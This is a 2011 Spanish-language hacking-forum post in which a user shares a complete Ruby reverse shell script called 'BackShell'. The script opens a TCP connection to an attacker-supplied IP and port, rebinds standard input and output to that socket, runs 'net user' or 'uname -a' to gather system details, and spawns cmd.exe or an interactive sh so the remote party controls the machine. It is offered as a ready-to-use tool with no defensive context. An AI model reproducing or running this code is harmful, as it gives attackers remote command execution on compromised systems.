elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Ruby] BackShell
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Ruby] BackShell  (Leído 1,240 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Ruby] BackShell
« en: 7 Octubre 2011, 01:29 am »

Un reverse shell en ruby

Código
  1. #!usr/bin/ruby
  2. #Back Shell (C) Doddy HAckman 2010
  3. #Creditos : protos por darle vida a un lenguaje casi olvidado  en este mundo
  4.  
  5. require 'socket'
  6.  
  7. ip = ARGV[0]
  8. port = ARGV[1]
  9.  
  10. def uso
  11.  print "\n[+] bind.rb <ip> <port>\n"
  12. end
  13.  
  14. def  head
  15.  print "\n\n-- == ReverseShell By Doddy H == --\n\n"
  16. end
  17.  
  18. def copyright
  19.  print "\n\n(C) Doddy Hackman 2010\n\n"
  20. end
  21.  
  22.  
  23. def infowin
  24.  system("net user")
  25. end
  26.  
  27. def openwin()
  28. system("cmd.exe")
  29. end  
  30.  
  31. def infolin
  32.  system("uname -a")
  33. end
  34.  
  35. def openlin()
  36. system("export TERM=xterm;exec sh -i")
  37. end  
  38.  
  39. def now(ip,port)
  40.  print "\n\n-- == ReverseShell By Doddy H == --\n\n"
  41.  print "\n[+] Ok , enter to the system\n\n"
  42. begin
  43. backdoor = TCPSocket.new(ip,port)
  44.  $stdout.reopen(backdoor)
  45.  $stdin.reopen(backdoor)
  46.  rescue
  47.  print "\n[-] Un puto error !!\n\n"
  48.  exit(1)  
  49.  end
  50.  if RUBY_PLATFORM =~/win/
  51.   infowin()
  52.   openwin()
  53.  else
  54.   infolin()
  55.   openlin()
  56. end
  57. end
  58.  
  59.  
  60. if !ip and !port
  61. uso()
  62. else
  63.  now(ip,port)
  64. end
  65.  
  66. #The End ???
  67.  


« Última modificación: 8 Octubre 2011, 19:01 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ruby vs perl ??
Scripting
vacio 3 4,246 Último mensaje 26 Julio 2006, 17:32 pm
por vacio
[Ruby] Abriendo una web
Scripting
Erik# 0 2,000 Último mensaje 2 Marzo 2009, 14:08 pm
por Erik#
Ruby
Programación General
¡Micronet! 2 3,133 Último mensaje 18 Octubre 2010, 22:49 pm
por ¡Micronet!
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines